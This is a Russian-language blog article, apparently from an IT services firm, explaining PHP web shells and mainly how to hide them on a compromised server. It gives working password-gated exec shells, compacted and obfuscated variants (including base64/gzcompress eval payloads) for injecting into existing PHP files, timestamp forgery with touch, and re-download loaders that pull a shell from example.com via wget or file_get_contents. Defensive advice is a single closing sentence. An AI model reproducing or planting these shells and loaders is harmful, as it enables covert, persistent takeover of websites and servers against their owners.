WEB-Shell на PHP. Что это такое и способы его спрятать

Начнем с определения что такое «веб-шелл» (WEB-Shell)? Что нам говорит интернет по этому поводу: Это некий вредоносный скрипт (программа), который злоумышленники используют для управления чужими сайтами и серверами: выполнения команд терминала, перебора паролей, доступа к файловой системе и т.п. Для размещения скрипта чаще всего используются уязвимости в коде сайта или подбор паролей.

Хотя тут требуется уточнение. Вредоносным он становится в случае если он загружен не вами на ваш сервер, а злоумышленником. Если он загружен вами, то обычно это очень даже полезный инструмент.

PHP WEB-Shell обычно построен на PHP команде exec();

и по большому счету
< ?php exec('команда'); ?>
уже является шеллом.
Но, как правило, от шелла хочется немного больше комфорта. Ведь неудобно каждый раз менять PHP код, чтобы выполнить команду.

Пример более удобного шелла можно найти в разделе файлы.
Но вот все хорошо, шелл размещен на сервере, но возникает вопрос как его скрыть от посторонних глаз.
Первое что приходит в голову, это сменить название на то, которое не вызовет подозрений (скажем functions.php).

Далее а стоит поменять время создания/изменения файла. В этом нам поможет команда touch с параметром -t

-t время
Использовать вместо текущего указанное время. Время задается десятичным числов вида:
[[CC]YY]MMDDhhmm[.SS]
где каждая пара цифр представляет следующее:

MM Месяц года [01-12].
DD День месяца [01-31].
hh Час дня [00-23].
mm Минута часа [00-59].
CC Первые две цифры года.
YY Последние две цифры года.
SS Секунда минуты [00-61].
Пример:
touch -t 200911030000 test.txt
В данном случае время изменится на 2009-11-03 00:00

Так же можно Shell встроить в уже существующий PHP файл, но это лучше делать с компактным шеллом.
Например с таким:

< ?php $pa='qwe'; if ($_GET['pwd']==$pa){ //проверяем, передается ли параметр pwd равный qwe в адресной строке. Если нет то скрипт не выполняется $arr=$_POST['arr']; if (isset($arr) && $arr!=''){ //если переменная arr существует и не пустая, то выполняем exec exec ($arr,$out); foreach ($out as $tmp) //вывод исполненного exec { echo($tmp.'
');
}
}
//вывод формы
echo('

');
}
?>

Данный шелл проверяет, вызван ли скрипт с GET параметром pwd, который задан в переменной $pa (вызов скрипта должен выглядеть как: http://путь_и_имя_скрипта.php?pwd=qwe)

Перед его добавлением в существующий PHP файл следует удалить из него комментарии и максимально его сжать.
После удаления комментариев, лишних пробелов и переносов строк получится:
< ?php $pa='qwe'; if ($_GET['pwd']==$pa){$arr=$_POST['arr']; if (isset($arr) && $arr!=''){exec ($arr,$out); foreach ($out as $tmp){echo($tmp.'
');}}
echo('

');}?>
Но в любом случае лучше подстраивать стиль под стиль кода в существующем файле.
Хотя можно пойти и другим путем. Предварительно обфусцировать код, чтобы он стал не читаемым.
Пример легкой обфускации:
< ?php $GLOBALS['_1225506814_']=Array('' .'exec'); ?>< ?php function _42307863($i){$a=Array('qwe','pwd','arr','','
','

');return $a[$i];} ?>< ?php $_0=_42307863(0);if($_GET[_42307863(1)]==$_0){$_1=$_POST[_42307863(2)];if(isset($_1)&& $_1!=_42307863(3)){$GLOBALS['_1225506814_'][0]($_1,$_2);foreach($_2 as $_3){echo($_3 ._42307863(4));}}echo(_42307863(5) .$_SERVER[_42307863(6)] ._42307863(7) .$_0 ._42307863(8));} ?>
Это тот же простой шелл, просто с запутанным кодом.
Пример сильной обфускации:
< ?php eval(gzuncompress(base64_decode('eNpTcffxd3L0CY5Wjze0NDU0NDA2jlePtXUsKkqs1EhKLE41M4lPSU3OT0nVUI9SV9BTj8jIAVGR5SDSFkJoaloDANpJEvM='))); ?>< ?php eval(gzuncompress(base64_decode('eNodjlFvgjAYRf+KDyRAtofWypwxPFiNOB5IiXQtGGNKP2Q4xIWBysz++xjJTc7JzX24x7bSTXGpRgfsjMmYTKfYMgr7YSh3Udeqs0wtoTSfTb2Bzx6x9LsefZjndyx33UGTqz6jPBYBUmLWsnCoOQq223fKJXJoxPmwJJQkK/Svbx4uwfu4JiscRjjg7HT/SiuKYUnbWOCSiXWnT5NXJZwbyDCHTXlLIvwDwm+UDJ/YcnZOid8MH+x5nTVtXY1S9Z29TA6Q6QtklqF2RrG3579/1nBGUA=='))); ?>< ?php eval(gzuncompress(base64_decode('eNpVjsEKgzAMhl+lg6IGhjTtnBviYQPxIjh07FJKEFH0JMzdxHdf9VRPCd+f7yecREoYSSVVHGMgIBn7gFOevbWDEUyachKwcEK7vMr6kEswmzfOc/ezNoLnMTtObrUCa+dF+XwUtfYJ7xGiUIp8o4XZpDMnCUk/fbumHSyQrJlti4Kla4fJAsVCp+8CkKzrHjk0AhZyqrPqk1Xuh1cwBzve78SB3bbGP0TaQso='))); ?>
Это все тот же простой шелл, но с шифрованием в base64. он так же будет исполняться.

Можно встроить загрузчик шелла в существующий скрипт. Этот путь хорошо в качестве резервного. Если основной шелл стерли и уязвимость закрыли, то возможно остался загрузчик, через который можно повторно закачать шелл. Хотя это иногда бывает довольно творческой работой, потому что не всегда все папки доступны на запись.

Пример загрузчика(в данном случае используется утилита wget через exec):
< ?php if ($_GET['pwd']=='dl'){ exec('wget -O shell.php http://example.com/shell.txt');} ?>
данная строка закачает файл shell.txt с сервера example.com и сохранит его под именем shell.php в папке, из которой исполнялся скрипт, если скрипт, в который она внедрена, вызван с параметром ?pwd=dl
Так же можно сделать загрузку с помощью самого PHP:
< ?php if ($_GET['pwd']=='dl'){ $content = file_get_contents("http:http://example.com/shell.txt"); $file="shell.php"; $fp = fopen($file, "w"); // ("r" - считывать "w" - создавать "a" - добовлять к тексту), мы создаем файл fwrite($fp, $content); fclose ($fp);} ?>
данный код так же закачает файл shell.txt с сервера example.com и сохранит его под именем shell.php в папке, из которой исполнялся скрипт, если скрипт, в который она внедрена, вызван с параметром ?pwd=dl

Только не забываем предварительно разместить шелл на сервере, с которого он будет закачан. И с не исполняемым расширением файла.

Скрипт закачки шелла на сервер так же желательно сжать, освободить от комментариев и, по желанию, обфусцировать.

Еще шелл можно спрятать в базе данных, но это уже зависит от используемой CMS и ее настроек. Если текст страниц хранится в базе данных, и CMS по каким-либо причинам не фильтрует PHP код при выводе текста из базы на страницу для конечного пользователя, то эти скрипты вполне могут жить в базе данных. Правда данный материал уже выходит за рамки этой статьи.

Вообще методов сокрытия шелла существует огромное множество. И данная работа больше напоминает творческую.

Что касается защиты: старайтесь держать эталонные версии скриптов и список файлов на сервере в резервной копии (естественно находящейся не на том же сервере). Тогда можно будет быстро сравнить все изменения, в случае если у вас есть подозрения.

Заказать создание и поддержку безопасной IT-инфраструктуры любой сложности

Быть уверенным в своей IT-инфраструктуре – это быть уверенным в завтрашнем дне.

Для того, чтобы сделать заказ:

Заполните форму обратной связи и мы обязательно с вам свяжемся:
Форма обратной связи
Позвоните нам по телефону:
+7(909)952-44-33
Напишите нам на электронную почту:
order@blackdiver.net
Напишите нам в Telegram:
Telegram
Другие способы связи Вы сможете найти в разделе Контакты.

7 мыслей о “WEB-Shell на PHP. Что это такое и способы его спрятать”

    1. Спасибо за дополнение 🙂 Хотя в данной статье я рассказываю как спрятать. Не просто же так прячут шеллы 🙂

    1. Base64 это как минимум кодирование. А если вдаваться в полемику по вопросу, то можно назвать и шифрованием, ведь шифрование это обратимое преобразование информации и состоит из двух составляющих — зашифрование и расшифрование. Другой вопрос, что ключ и алгоритм известен и общедоступен.

Please Login to Comment.